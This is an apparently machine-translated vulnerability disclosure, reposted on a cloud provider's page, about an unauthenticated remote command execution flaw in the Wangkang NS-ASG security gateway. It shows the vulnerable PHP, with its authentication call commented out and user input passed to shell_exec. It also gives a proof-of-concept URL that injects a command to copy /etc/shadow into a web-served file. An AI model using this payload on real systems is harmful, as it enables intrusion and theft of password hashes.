Wangkang NS-ASG application security gateway Remote Command Execution

Source: Internet
Author: User

Wangkang NS-ASG application security gateway Remote Command Execution

Directly execute remote commands without logon.

Vulnerability

 

<? Php include ("include/common. inc "); include (". /gadgets/lib/FusionCharts. php "); include (". /gadgets/lib/Utilities. php "); // Authenticate ($ USER_ADMIN); switch ($ action) {case" ": list_group (" "); break; case" reboot ": exec ("sudo nohup/sbin/reboot &"); list_group (""); break; case "poweroff": exec ("sudo/sbin/poweroff &"); list_group (""); break; case "getethinfo": $ rtinfo = getRT ($ ethx); // This vulnerability is triggered to track this function echo json_encode ($ r Tinfo); break;} function getRT ($ eth = 'eth0') {$ result = shell_exec ("sudo/sbin/ifconfig $ eth "); // It is executed directly here... $ Ethinfo = array (); preg_match ("/RX packets: \ d +/", $ result, $ rtarr ); $ ethinfo ['rpackets '] = intval (substr ($ rtarr [0], 11); preg_match ("/TX packets: \ d +/", $ result, $ rtarr); $ ethinfo ['tpackets '] = intval (substr ($ rtarr [0], 11); preg_match ("/RX bytes: \ d + /", $ result, $ rtarr); $ ethinfo ['rbytes '] = intval (substr ($ rtarr [0], 9); preg_match ("/TX bytes: \ d +/", $ result, $ rtarr); $ ethinfo ['tbytes '] = intval (substr ($ rtarr [0], 9); return $ ethinfo ;}

The verification method is as follows:

Https://www.xxxxx.com/admin/device_status.php? Action = getethinfo defaults x = a | cat/etc/shadow>/Isc/third-party/httpd/htdocs/test. php

Solution:

Is wangkang's device written by a temporary engineer?

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.